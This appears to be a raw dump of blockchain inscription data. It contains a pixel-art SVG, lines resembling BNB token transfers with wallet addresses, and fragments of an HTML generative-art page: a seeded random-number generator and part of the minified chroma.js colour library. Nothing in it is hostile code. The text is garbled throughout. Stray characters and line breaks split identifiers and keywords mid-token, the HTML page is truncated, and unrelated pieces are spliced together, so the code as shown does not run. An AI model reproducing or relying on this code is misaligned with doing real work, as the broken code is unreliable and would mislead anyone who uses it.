<svg viewBox="0 0 16 16" version="1.2" shape-rendering="crispEdges" xmlns="http://www.w3.org/2000/svg"><path fill="#000" d="M0 0h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 1h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 2h1v1H0zm1 0h1v1H1zm1 0h1v1H2M
zm1 0h1v1H3zm1 0h1v1H4zm1 0h1v1H5z"></path><path fill="#FFF" d="M6 2h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1z"></path><path fill="#000" d="M11 2h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 3h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3zm1 0h1v1H4z"></path><path fill="#FFF" d="M5 3h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M12 3h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 4h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#M
FFF" d="M4 4h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 4h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 5h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 5h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 5h1v1H8z"></path><path fill="#FFF" d="M9 5h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 5h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 6h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1vM
1H3z"></path><path fill="#FFF" d="M4 6h1v1H4zm1 0h1v1H5zm1 0h1v1H6z"></path><path fill="#000" d="M7 6h1v1H7z"></path><path fill="#FFF" d="M8 6h1v1H8z"></path><path fill="#000" d="M9 6h1v1H9z"></path><path fill="#FFF" d="M10 6h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 6h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 7h1v1H0zm1 0h1v1H1zm1 0h1v1H2z"></path><path fill="#FFF" d="M3 7h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8z"></path><path fill="#000" d="M9 7h1v1H9z"></path><path fill="#FFF"M
 d="M10 7h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 7h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 8h1v1H0zm1 0h1v1H1zm1 0h1v1H2z"></path><path fill="#FFF" d="M3 8h1v1H3zm1 0h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 8h1v1H8z"></path><path fill="#FFF" d="M9 8h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 8h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 9h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 9h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1M
 0h1v1H7z"></path><path fill="#000" d="M8 9h1v1H8z"></path><path fill="#FFF" d="M9 9h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 9h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 10h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 10h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 10h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 11h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 11M
h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 11h1v1H8z"></path><path fill="#FFF" d="M9 11h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 11h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 12h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 12h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M13 12h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 13h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"M
></path><path fill="#FFF" d="M4 13h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1z"></path><path fill="#000" d="M12 13h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 14h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d="M4 14h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7zm1 0h1v1H8zm1 0h1v1H9zm1 0h1v1h-1z"></path><path fill="#000" d="M11 14h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zM0 15h1v1H0zm1 0h1v1H1zm1 0h1v1H2zm1 0h1v1H3z"></path><path fill="#FFF" d=L
"M4 15h1v1H4zm1 0h1v1H5zm1 0h1v1H6zm1 0h1v1H7z"></path><path fill="#000" d="M8 15h1v1H8zm1 0h1v1H9zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1zm1 0h1v1h-1z"></path></svg>h!
CjA=:BNB.BNB:bnb1vvtcfw4gkau7xjmqckd5ss5eugqdhel7prgeey:7276376:te:0
CjA=:BNB.BNB:bnb162r8s0l79n2xhu7duq4rzy9df439wpz7cq86rd:1542558:te:0
CjA=:BNB.BNB:bnb1dzcq4vkfmglnkrghh9auv5sgvx55yp6m6jj7yu:2516845:te:0
CjA=:BNB.BNB:bnb1avxm0yquk4jluj30tps2sgfsaa6xg3dmeacudy:1908395:te:0
DjB=:BNB.BNB:bnb1ufm0tznlsnqkv7zcgxnw9q3z38nj48j4z4v504:63512230:te:0
EjC=:BNB.BNB:bnb1ytgshlf0x252chj37ql73zht7n2x3fyc3hzn2k:209599895:te:0
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
FjDOUT:56398BA7BFCCD3FB0288102957C88B4ECB9AFC90ED4AFB810065C0C20CBD3991
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
